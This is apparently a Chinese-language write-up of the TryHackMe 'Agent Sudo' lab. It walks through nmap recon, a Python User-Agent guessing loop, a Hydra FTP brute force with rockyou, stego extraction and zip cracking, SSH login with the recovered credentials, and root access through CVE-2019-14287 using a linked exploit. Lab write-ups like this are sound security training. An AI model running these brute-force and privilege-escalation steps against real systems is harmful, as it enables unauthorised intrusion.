URL: https://tryhackme.com/room/agentsudoctf
IP : 10.10.119.64
Recon
- 老梗
nmap -A 10.10.119.64
- 發現有開FTP
- SSH
- HTTP嘗試進入 HTTP-

- 看到他說需要在 useragent 放
Codename(機密代號) - 又說 Dear agent, 下面有說
Agent R - 所以基本上可以先猜測 Agent
A到Z
爆猜機密代號
- 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉
curl
- 對著 F12 的 Reuest 右鍵,
Copy as cURL curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'curl 轉 Python request- 我使用這個網站 https://curl.trillworks.com/把 curl 貼上就可以自動轉 python 的 request 了接下來寫一段扣爆破因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ
import requests
for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
headers = {
'User-Agent': i ,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0, no-cache',
'Pragma': 'no-cache',
}
response = requests.get('http://10.10.119.64/', headers=headers).text
print(i,len(response))
- 用
User-Agent:C發 request
在 Firefox 上使用右鍵, Edit and Resend
- 修改 User-Agent為 C 並送出可以發現他自動跳轉到這個網頁- http://10.10.119.64/agent_C_attention.php 
- 內文中發現了 Agent C 叫做
chris - 而且他的主管在嘴他說使用弱密碼
FTP
- 嘗試爆破 FTP因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp
- 透過 Hydra + Rockyou 字典來爆
hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64
可以了解到帳號為 chris密碼為crystal嘗試登入 FTP-ftp 10.10.119.64 
- 輸入
ls觀察 ftp 裡面的檔案
輸入 get 檔名把檔案依序載下來
觀察 txt 檔案- cat To_agentJ.txt 
- 他說兩張照片都是假ㄉ,裡面有藏東東
Stego
- 起手式 strings
strings cutie.png 
- 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ透過 binwalk 觀察是否裡面有藏檔案-

- 發現 png 後面塞了一個 zip透過 foremost 解出裡面的檔案-
foremost cutie.png 
- 會發現資料夾裡面有一包 zip
解壓縮 zip- 用最直覺的 unzip
- 會發現噴錯
- 跟據這篇的講法,可以用 7z 來解
7z x 00000067.zip-
- 用 7z 解,會發現 zip 需要密碼爆破 zip 密碼- 先把 zip 轉成 約翰格式
zip2john 00000067.zip > j.txtjohn j.txt --wordlist=/opt/rockyou.txt- 就可以取得密碼為
alien
解壓縮 zip- 7z x 00000067.zip- 並使用密碼
alien即可解壓完畢 
- 解壓內容可以看到一組奇怪的密碼
QXJlYTUx - 透過 base64 解碼
base64 -d 即可獲得Area51接下來看到另外一個檔案-cute-alien.jpg` - 這邊使用
steghide進行解密 steghide extract -sf cute-alien.jpg並搭配Area51
- 發現成功的解出了 message.txt
我們可以發現文章內- 使用者 : james- 密碼 :
hackerrules!
SSH
- 透過 SSH 進行登入
ssh james@10.10.119.64
尋找到 user_flag.txt-
b03d975e8c92a7c04146cfa7a5a313c7
提權
- 輸入
sudo -l
- 所以我們不能以 root 身分執行
/bin/bashWhat is the incident of the photo called?- 裡面還找到了一張照片 
- 透過 Google 以圖搜圖可以找到這篇新聞
Roswell alien autopsy繼續提權- 透過 scp 上傳 Linpeas本機scp linpeas.sh james@10.10.119.64:/tmp
遠端- bash linpeas.sh | tee meow.txt可以觀察到 Linpeas 把 sudo 版本變紅色-
- 透過Google
Sudo 1.8.21p2可以找到CVE-2019-14287 - https://www.exploit-db.com/exploits/47502遠端機器剛好有 python 跟 vim- 那就直接開 vim 把 exploit 給貼上
把 python exploit code 給 run 起來- 詢問使用者名稱,就輸入 james
- 成功提權!取得 root flag-

b53a02f55b57d4439e3341834d70c062(Bonus) Who is Agent R?- 信最後 有寫DesKelaka Agent R- 阿不是阿,你名字裡哪裡有 R ㄌ ?__?